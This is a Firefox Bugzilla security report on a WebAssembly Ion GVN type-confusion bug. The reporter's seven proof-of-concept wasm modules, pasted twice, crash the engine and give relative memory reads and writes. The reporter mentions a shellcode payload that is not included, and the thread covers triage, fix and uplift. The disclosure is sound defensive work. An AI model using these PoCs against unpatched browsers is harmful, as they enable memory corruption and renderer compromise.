Type confusion GVN type assumptions
Categories
(Core :: JavaScript: WebAssembly, defect, P1)
Tracking
()
| Tracking | Status | |
|---|---|---|
| firefox-esr115 | --- | unaffected |
| firefox-esr140 | --- | unaffected |
| firefox148 | --- | unaffected |
| firefox149 | + | fixed |
| firefox150 | + | fixed |
People
(Reporter: quasar0147mail, Assigned: bvisness)
References
(Blocks 1 open bug, Regression)
Details
(4 keywords)
Attachments
(1 file, 3 external files)
|
8.62 KB,
text/plain
|
Details |
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:148.0) Gecko/20100101 Firefox/148.0
Steps to reproduce:
Hello!
I would like to report a security vulnerability that leads to renderer compromise via type confusion in the WASM ION Pipeline.
Particularly, GVN's type assumptions.
So GVN merges congruent MWasmLoadField nodes if when they differ in precise wasm ref type. For our exploits, we had a first/early load through A as anyref/eqref and a later congruent load of the same field through a subtype B typed as (ref T).
GVN merges these loads, and propagates back the narrow ref T type back onto A, so A's cast of this to T gets folded away and we get a type confusion primitive!
Currently, if you have a struct A with field x as anyref, and struct B with field x at a specific type, then you do something as follows:
type T = struct { f0: i32, f1: mut i32, f2: i32 }
type A = struct { payload: anyref }
type B <: A = struct { payload: ref T }
makeA(x):
return A { payload = x }
w1(a):
broad = a.payload
if (a is B) {
narrow = ((B)a).payload
discard(narrow)
}
t = cast<T>(broad)
t.f1 = 1432778632
return t.f1
(^ pseudocode), GVN will actually allow data from type A to be cast to type T because it incorrectly assumes that because a later type proof is used for an earlier load because of GVN ordering and type optimizations!
To cut to the chase, here are some wasm poc's!
POC 1: our initial work/observation:
(module
(type $t (struct))
(type $a (sub (struct (field anyref))))
(type $b (sub $a (struct (field (ref $t)))))
(func (export "makeA") (param anyref) (result (ref $a))
local.get 0
struct.new $a)
(func (export "f") (param (ref $a)) (result i32)
(local i32)
local.get 0
struct.get $a 0
ref.test structref
local.set 1
(block (result (ref $a))
local.get 0
br_on_cast_fail 0 (ref $a) (ref $b)
struct.get $b 0
drop
local.get 0
)
drop
local.get 1)
)
Outputs:
(base) vi@vis-MacBook-Air Downloads % /Users/vi/Downloads/firefox/obj-aarch64-apple-darwin24.6.0/dist/bin/js --wasm-compiler=baseline poc1.js
before
0
after
(base) vi@vis-MacBook-Air Downloads % /Users/vi/Downloads/firefox/obj-aarch64-apple-darwin24.6.0/dist/bin/js --wasm-compiler=ion poc1.js
before
zsh: segmentation fault /Users/vi/Downloads/firefox/obj-aarch64-apple-darwin24.6.0/dist/bin/js
POC 2: eqref test variant
(module
(type $t (struct))
(type $a (sub (struct (field anyref))))
(type $b (sub $a (struct (field (ref $t)))))
(func (export "makeA") (param anyref) (result (ref $a))
local.get 0
struct.new $a)
(func (export "f") (param (ref $a)) (result i32)
(local i32)
local.get 0
struct.get $a 0
ref.test eqref
local.set 1
(block (result (ref $a))
local.get 0
br_on_cast_fail 0 (ref $a) (ref $b)
struct.get $b 0
drop
local.get 0
)
drop
local.get 1)
)
Outputs:
(base) vi@vis-MacBook-Air Downloads % /Users/vi/Downloads/firefox/obj-aarch64-apple-darwin24.6.0/dist/bin/js --wasm-compiler=ion poc2.js
1
(base) vi@vis-MacBook-Air Downloads % /Users/vi/Downloads/firefox/obj-aarch64-apple-darwin24.6.0/dist/bin/js --wasm-compiler=baseline poc2.js
0
POC 3: eqref cast
(module
(type $t (struct))
(type $a (sub (struct (field anyref))))
(type $b (sub $a (struct (field (ref $t)))))
(func (export "makeA") (param anyref) (result (ref $a))
local.get 0
struct.new $a)
(func (export "f") (param (ref $a)) (result i32)
local.get 0
struct.get $a 0
ref.cast eqref
drop
(block (result (ref $a))
local.get 0
br_on_cast_fail 0 (ref $a) (ref $b)
struct.get $b 0
drop
local.get 0
)
drop
i32.const 7)
)
(base) vi@vis-MacBook-Air Downloads % /Users/vi/Downloads/firefox/obj-aarch64-apple-darwin24.6.0/dist/bin/js --wasm-compiler=baseline poc3.js
/Users/vi/Downloads/firefox/js/src/jit-test/lib/wasm.js line 50 > WebAssembly.Module:78:1 RuntimeError: bad cast
Stack:
@/Users/vi/Downloads/firefox/js/src/jit-test/lib/wasm.js line 50 > WebAssembly.Module:wasm-function[1]:0x4e
@/tmp/poc3.js:33:7
(base) vi@vis-MacBook-Air Downloads % /Users/vi/Downloads/firefox/obj-aarch64-apple-darwin24.6.0/dist/bin/js --wasm-compiler=ion poc3.js
7
Now to escalate it in severity, we used the following setups:
POC 4:
var libdir='/Users/vi/Downloads/firefox/js/src/jit-test/lib/';
load(libdir + 'wasm.js');
const text = `(module
(type $t (struct (field i32) (field (mut i32)) (field i32)))
(type $a (sub (struct (field anyref))))
(type $b (sub $a (struct (field (ref $t)))))
(func (export "makeA") (param anyref) (result (ref $a))
local.get 0
struct.new $a)
(func (export "w1") (param (ref $a)) (result i32)
(local anyref)
(local (ref $t))
local.get 0
struct.get $a 0
local.set 1
(block (result (ref $a))
local.get 0
br_on_cast_fail 0 (ref $a) (ref $b)
struct.get $b 0
drop
local.get 0
)
drop
local.get 1
ref.cast (ref $t)
local.tee 2
i32.const 1432778632
struct.set $t 1
local.get 2
struct.get $t 1)
)`;
const { makeA, w1 } = wasmEvalText(text).exports;
const a = makeA({x:1});
try { print(w1(a)); } catch (e) { print(String(e)); }
POC 5:
var libdir='/Users/vi/Downloads/firefox/js/src/jit-test/lib/';
load(libdir + 'wasm.js');
const text = `(module
(type $t (struct (field i32) (field i32) (field i32)))
(type $a (sub (struct (field anyref))))
(type $b (sub $a (struct (field (ref $t)))))
(func (export "makeA") (param anyref) (result (ref $a))
local.get 0
struct.new $a)
(func (export "r0") (param (ref $a)) (result i32)
(local anyref)
local.get 0
struct.get $a 0
local.set 1
(block (result (ref $a))
local.get 0
br_on_cast_fail 0 (ref $a) (ref $b)
struct.get $b 0
drop
local.get 0
)
drop
local.get 1
ref.cast (ref $t)
struct.get $t 0)
(func (export "r1") (param (ref $a)) (result i32)
(local anyref)
local.get 0
struct.get $a 0
local.set 1
(block (result (ref $a))
local.get 0
br_on_cast_fail 0 (ref $a) (ref $b)
struct.get $b 0
drop
local.get 0
)
drop
local.get 1
ref.cast (ref $t)
struct.get $t 1)
(func (export "r2") (param (ref $a)) (result i32)
(local anyref)
local.get 0
struct.get $a 0
local.set 1
(block (result (ref $a))
local.get 0
br_on_cast_fail 0 (ref $a) (ref $b)
struct.get $b 0
drop
local.get 0
)
drop
local.get 1
ref.cast (ref $t)
struct.get $t 2)
)`;
const { makeA, r0, r1, r2 } = wasmEvalText(text).exports;
const a = makeA({x:1});
for (const [name, f] of [['r0', r0], ['r1', r1], ['r2', r2]]) {
try { print(name + '=' + f(a)); } catch (e) { print(name + ' throw ' + e); }
}
POC 6:
var libdir='/Users/vi/Downloads/firefox/js/src/jit-test/lib/';
load(libdir + 'wasm.js');
const text = `(module
(type $t (struct (field (mut i32))))
(type $u (struct (field i32)))
(type $a (sub (struct (field anyref))))
(type $b (sub $a (struct (field (ref $t)))))
(func (export "makeA") (param anyref) (result (ref $a))
local.get 0
struct.new $a)
(func (export "f") (param (ref $a)) (result i32)
(local anyref)
(local (ref $t))
local.get 0
struct.get $a 0
local.set 1
(block (result (ref $a))
local.get 0
br_on_cast_fail 0 (ref $a) (ref $b)
struct.get $b 0
drop
local.get 0
)
drop
local.get 1
ref.cast (ref $t)
local.tee 2
i32.const 305419896
struct.set $t 0
local.get 2
struct.get $t 0
)
)`;
const { makeA, f } = wasmEvalText(text).exports;
const a = makeA({x:1});
print('before');
try {
print(f(a));
} catch (e) {
print(String(e));
}
print('after');
POC 7:
var libdir='/Users/vi/Downloads/firefox/js/src/jit-test/lib/';
load(libdir + 'wasm.js');
const text = `(module
(type $t (struct (field i32)))
(type $a (sub (struct (field anyref))))
(type $b (sub $a (struct (field (ref $t)))))
(func (export "makeA") (param anyref) (result (ref $a))
local.get 0
struct.new $a)
(func (export "f") (param (ref $a)) (result i32)
(local anyref)
local.get 0
struct.get $a 0
local.set 1
(block (result (ref $a))
local.get 0
br_on_cast_fail 0 (ref $a) (ref $b)
struct.get $b 0
drop
local.get 0
)
drop
local.get 1
ref.cast (ref $t)
struct.get $t 0
)
)`;
const { makeA, f } = wasmEvalText(text).exports;
const a = makeA('hello');
print('before');
try {
print(f(a));
} catch (e) {
print(String(e));
}
print('after');
These demonstrate the ability for relative writes and reads in memory due to near arbitrary type confusion!
Let us know if we can provide any other information!
Thanks,
Vi
Actual results:
Type confusion (I sent most of this in the top field since this I originally emailed)
Expected results:
No type confusion!
(In reply to Vi from comment #0)
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:148.0) Gecko/20100101 Firefox/148.0
Steps to reproduce:
Hello!
I would like to report a security vulnerability that leads to renderer compromise via type confusion in the WASM ION Pipeline.
Particularly, GVN's type assumptions.So GVN merges congruent
MWasmLoadFieldnodes if when they differ in precise wasm ref type. For our exploits, we had a first/early load through A as anyref/eqref and a later congruent load of the same field through a subtype B typed as (ref T).
GVN merges these loads, and propagates back the narrow ref T type back onto A, so A's cast of this to T gets folded away and we get a type confusion primitive!Currently, if you have a struct A with field x as anyref, and struct B with field x at a specific type, then you do something as follows:
type T = struct { f0: i32, f1: mut i32, f2: i32 }
type A = struct { payload: anyref }
type B <: A = struct { payload: ref T }makeA(x):
return A { payload = x }w1(a):
broad = a.payloadif (a is B) { narrow = ((B)a).payload discard(narrow) } t = cast<T>(broad) t.f1 = 1432778632 return t.f1(^ pseudocode), GVN will actually allow data from type A to be cast to type T because it incorrectly assumes that because a later type proof is used for an earlier load because of GVN ordering and type optimizations!
To cut to the chase, here are some wasm poc's!
POC 1: our initial work/observation:
(module
(type $t (struct))
(type $a (sub (struct (field anyref))))
(type $b (sub $a (struct (field (ref $t)))))(func (export "makeA") (param anyref) (result (ref $a))
local.get 0
struct.new $a)(func (export "f") (param (ref $a)) (result i32)
(local i32)
local.get 0
struct.get $a 0
ref.test structref
local.set 1(block (result (ref $a)) local.get 0 br_on_cast_fail 0 (ref $a) (ref $b) struct.get $b 0 drop local.get 0 ) drop local.get 1))
Outputs:
(base) vi@vis-MacBook-Air Downloads % /Users/vi/Downloads/firefox/obj-aarch64-apple-darwin24.6.0/dist/bin/js --wasm-compiler=baseline poc1.js
before
0
after
(base) vi@vis-MacBook-Air Downloads % /Users/vi/Downloads/firefox/obj-aarch64-apple-darwin24.6.0/dist/bin/js --wasm-compiler=ion poc1.js
before
zsh: segmentation fault /Users/vi/Downloads/firefox/obj-aarch64-apple-darwin24.6.0/dist/bin/jsPOC 2: eqref test variant
(module
(type $t (struct))
(type $a (sub (struct (field anyref))))
(type $b (sub $a (struct (field (ref $t)))))(func (export "makeA") (param anyref) (result (ref $a))
local.get 0
struct.new $a)(func (export "f") (param (ref $a)) (result i32)
(local i32)local.get 0 struct.get $a 0 ref.test eqref local.set 1 (block (result (ref $a)) local.get 0 br_on_cast_fail 0 (ref $a) (ref $b) struct.get $b 0 drop local.get 0 ) drop local.get 1))
Outputs:
(base) vi@vis-MacBook-Air Downloads % /Users/vi/Downloads/firefox/obj-aarch64-apple-darwin24.6.0/dist/bin/js --wasm-compiler=ion poc2.js
1
(base) vi@vis-MacBook-Air Downloads % /Users/vi/Downloads/firefox/obj-aarch64-apple-darwin24.6.0/dist/bin/js --wasm-compiler=baseline poc2.js
0POC 3: eqref cast
(module
(type $t (struct))
(type $a (sub (struct (field anyref))))
(type $b (sub $a (struct (field (ref $t)))))(func (export "makeA") (param anyref) (result (ref $a))
local.get 0
struct.new $a)(func (export "f") (param (ref $a)) (result i32)
local.get 0
struct.get $a 0
ref.cast eqref
drop(block (result (ref $a)) local.get 0 br_on_cast_fail 0 (ref $a) (ref $b) struct.get $b 0 drop local.get 0 ) drop i32.const 7))
(base) vi@vis-MacBook-Air Downloads % /Users/vi/Downloads/firefox/obj-aarch64-apple-darwin24.6.0/dist/bin/js --wasm-compiler=baseline poc3.js
/Users/vi/Downloads/firefox/js/src/jit-test/lib/wasm.js line 50 > WebAssembly.Module:78:1 RuntimeError: bad cast
Stack:
@/Users/vi/Downloads/firefox/js/src/jit-test/lib/wasm.js line 50 > WebAssembly.Module:wasm-function[1]:0x4e
@/tmp/poc3.js:33:7
(base) vi@vis-MacBook-Air Downloads % /Users/vi/Downloads/firefox/obj-aarch64-apple-darwin24.6.0/dist/bin/js --wasm-compiler=ion poc3.js
7Now to escalate it in severity, we used the following setups:
POC 4:
var libdir='/Users/vi/Downloads/firefox/js/src/jit-test/lib/';
load(libdir + 'wasm.js');const text = `(module
(type $t (struct (field i32) (field (mut i32)) (field i32)))
(type $a (sub (struct (field anyref))))
(type $b (sub $a (struct (field (ref $t)))))(func (export "makeA") (param anyref) (result (ref $a))
local.get 0
struct.new $a)(func (export "w1") (param (ref $a)) (result i32)
(local anyref)
(local (ref $t))
local.get 0
struct.get $a 0
local.set 1
(block (result (ref $a))
local.get 0
br_on_cast_fail 0 (ref $a) (ref $b)
struct.get $b 0
drop
local.get 0
)
drop
local.get 1
ref.cast (ref $t)
local.tee 2
i32.const 1432778632
struct.set $t 1
local.get 2
struct.get $t 1)
)`;const { makeA, w1 } = wasmEvalText(text).exports;
const a = makeA({x:1});
try { print(w1(a)); } catch (e) { print(String(e)); }POC 5:
var libdir='/Users/vi/Downloads/firefox/js/src/jit-test/lib/';
load(libdir + 'wasm.js');const text = `(module
(type $t (struct (field i32) (field i32) (field i32)))
(type $a (sub (struct (field anyref))))
(type $b (sub $a (struct (field (ref $t)))))(func (export "makeA") (param anyref) (result (ref $a))
local.get 0
struct.new $a)(func (export "r0") (param (ref $a)) (result i32)
(local anyref)
local.get 0
struct.get $a 0
local.set 1
(block (result (ref $a))
local.get 0
br_on_cast_fail 0 (ref $a) (ref $b)
struct.get $b 0
drop
local.get 0
)
drop
local.get 1
ref.cast (ref $t)
struct.get $t 0)(func (export "r1") (param (ref $a)) (result i32)
(local anyref)
local.get 0
struct.get $a 0
local.set 1
(block (result (ref $a))
local.get 0
br_on_cast_fail 0 (ref $a) (ref $b)
struct.get $b 0
drop
local.get 0
)
drop
local.get 1
ref.cast (ref $t)
struct.get $t 1)(func (export "r2") (param (ref $a)) (result i32)
(local anyref)
local.get 0
struct.get $a 0
local.set 1
(block (result (ref $a))
local.get 0
br_on_cast_fail 0 (ref $a) (ref $b)
struct.get $b 0
drop
local.get 0
)
drop
local.get 1
ref.cast (ref $t)
struct.get $t 2)
)`;const { makeA, r0, r1, r2 } = wasmEvalText(text).exports;
const a = makeA({x:1});
for (const [name, f] of [['r0', r0], ['r1', r1], ['r2', r2]]) {
try { print(name + '=' + f(a)); } catch (e) { print(name + ' throw ' + e); }
}POC 6:
var libdir='/Users/vi/Downloads/firefox/js/src/jit-test/lib/';
load(libdir + 'wasm.js');const text = `(module
(type $t (struct (field (mut i32))))
(type $u (struct (field i32)))
(type $a (sub (struct (field anyref))))
(type $b (sub $a (struct (field (ref $t)))))(func (export "makeA") (param anyref) (result (ref $a))
local.get 0
struct.new $a)(func (export "f") (param (ref $a)) (result i32)
(local anyref)
(local (ref $t))
local.get 0
struct.get $a 0
local.set 1(block (result (ref $a)) local.get 0 br_on_cast_fail 0 (ref $a) (ref $b) struct.get $b 0 drop local.get 0 ) drop local.get 1 ref.cast (ref $t) local.tee 2 i32.const 305419896 struct.set $t 0 local.get 2 struct.get $t 0)
)`;const { makeA, f } = wasmEvalText(text).exports;
const a = makeA({x:1});
print('before');
try {
print(f(a));
} catch (e) {
print(String(e));
}
print('after');POC 7:
var libdir='/Users/vi/Downloads/firefox/js/src/jit-test/lib/';
load(libdir + 'wasm.js');const text = `(module
(type $t (struct (field i32)))
(type $a (sub (struct (field anyref))))
(type $b (sub $a (struct (field (ref $t)))))(func (export "makeA") (param anyref) (result (ref $a))
local.get 0
struct.new $a)(func (export "f") (param (ref $a)) (result i32)
(local anyref)
local.get 0
struct.get $a 0
local.set 1(block (result (ref $a)) local.get 0 br_on_cast_fail 0 (ref $a) (ref $b) struct.get $b 0 drop local.get 0 ) drop local.get 1 ref.cast (ref $t) struct.get $t 0)
)`;const { makeA, f } = wasmEvalText(text).exports;
const a = makeA('hello');
print('before');
try {
print(f(a));
} catch (e) {
print(String(e));
}
print('after');These demonstrate the ability for relative writes and reads in memory due to near arbitrary type confusion!
Let us know if we can provide any other information!
Thanks,
ViActual results:
Type confusion (I sent most of this in the top field since this I originally emailed)
Expected results:
No type confusion!
So I think I messed up the markdown here, I've attached the original message as a file because I'm not sure how to edit in this.
Upload of the original because I messed up markdown. Sorry for the messy report!
Updated•8 months ago
|
With regards to patch advice:
So right now, MWasmLoadField only stores hierarchy_ from the original ref type within the constructor, and congruentTo only compares that hierarchy, so anyref, eqref, ..., and a target (ref $T) similar can all be under an Any heirachy, but they are not interchangeable for GVN.
We cannot just use wasmRefType(), because it is mutable, narrows, and explicitly stated to not be used in congruence checks.
We think the best way to fix this therefore is in the constructor to have an immutable value that represents the full ref type of the load, and to compare off of this, though there may be a better way.
We have built a payload for shellcode execution within the renderer, let us know if you would like this added here or not (unsure if this thread will ever be public).
Updated•8 months ago
|
| Assignee | ||
Comment 5•8 months ago
|
||
Thanks for the report. This is indeed a type mixup that can lead to arbitrary out-of-bounds access. I've put together some PoCs myself based on your original test case. This should be sec-high.
I strongly suspect that this is only exploitable due to bug 2000677, which made GVN use the GLB instead of LUB when combining congruent MIR instructions. For the PoC provided, this would give the final load a result type of anyref, not (ref 0). I have not 100% verified this yet though.
Updated•8 months ago
|
Updated•8 months ago
|
| Assignee | ||
Comment 6•8 months ago
|
||
| Assignee | ||
Comment 7•8 months ago
|
||
Updated•8 months ago
|
Hi Ben, nice to meet you!
I'm unsure if I should be able to see the attached files, but I do get permission denied from them.
That said, this does seem to be the case because in firefox 148 (I believe that bug is set to firefox 149), we could not trigger this.
Comment 9•8 months ago
|
||
The severity field for this bug is set to S3. However, the bug is flagged with the sec-high keyword.
:bvisness, could you consider increasing the severity of this security bug?
For more information, please visit BugBot documentation.
Updated•8 months ago
|
| Assignee | ||
Comment 10•8 months ago
|
||
Comment on attachment 9551242 [details]
(secure)
Security Approval Request
- How easily could an exploit be constructed based on the patch?: Not super easily. The patch indicates that something is wrong with GVN but doesn't make it clear what. In my opinion a successful exploit requires some other cleverness that is not suggested by the patch.
- Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
- Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: beta
- If not all supported branches, which bug introduced the flaw?: Bug 2000677
- Do you have backports for the affected branches?: No
- If not, how different, hard to create, and risky will they be?: Trivial to create
- How likely is this patch to cause regressions; how much testing does it need?: Unlikely to cause regressions, since it just disables GVN for a specific node type in places where types differ.
- Is the patch ready to land after security approval is given?: Yes
- Is Android affected?: Unknown
| Assignee | ||
Updated•8 months ago
|
Comment 11•8 months ago
|
||
Set release status flags based on info from the regressing bug 2000677
Comment 12•8 months ago
|
||
Set release status flags based on info from the regressing bug 2000677
Comment 13•8 months ago
|
||
Set release status flags based on info from the regressing bug 2000677
Updated•8 months ago
|
Comment 14•8 months ago
|
||
Comment on attachment 9551242 [details]
(secure)
sec-approval+ to land now and uplift to beta 149
Comment 15•8 months ago
|
||
firefox-beta Uplift Approval Request
- User impact if declined: Rather severe and easy-to-exploit type confusion bug.
- Code covered by automated testing: yes
- Fix verified in Nightly: no
- Needs manual QE test: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: Trivial patch restricting GVN for a specific node type.
- String changes made/needed: none
- Is Android affected?: no
| Assignee | ||
Comment 16•8 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D286802
Comment 17•8 months ago
|
||
Updated•8 months ago
|
Comment 18•8 months ago
|
||
Updated•8 months ago
|
Updated•8 months ago
|
Comment 19•8 months ago
|
||
| uplift | ||
Updated•8 months ago
|
| Reporter | ||
Comment 20•8 months ago
|
||
Can you also credit this security researcher in the disclosure if one will exist:
Owen Kwan (Veria Labs) owen@verialabs.com
Updated•3 months ago
|
Description
•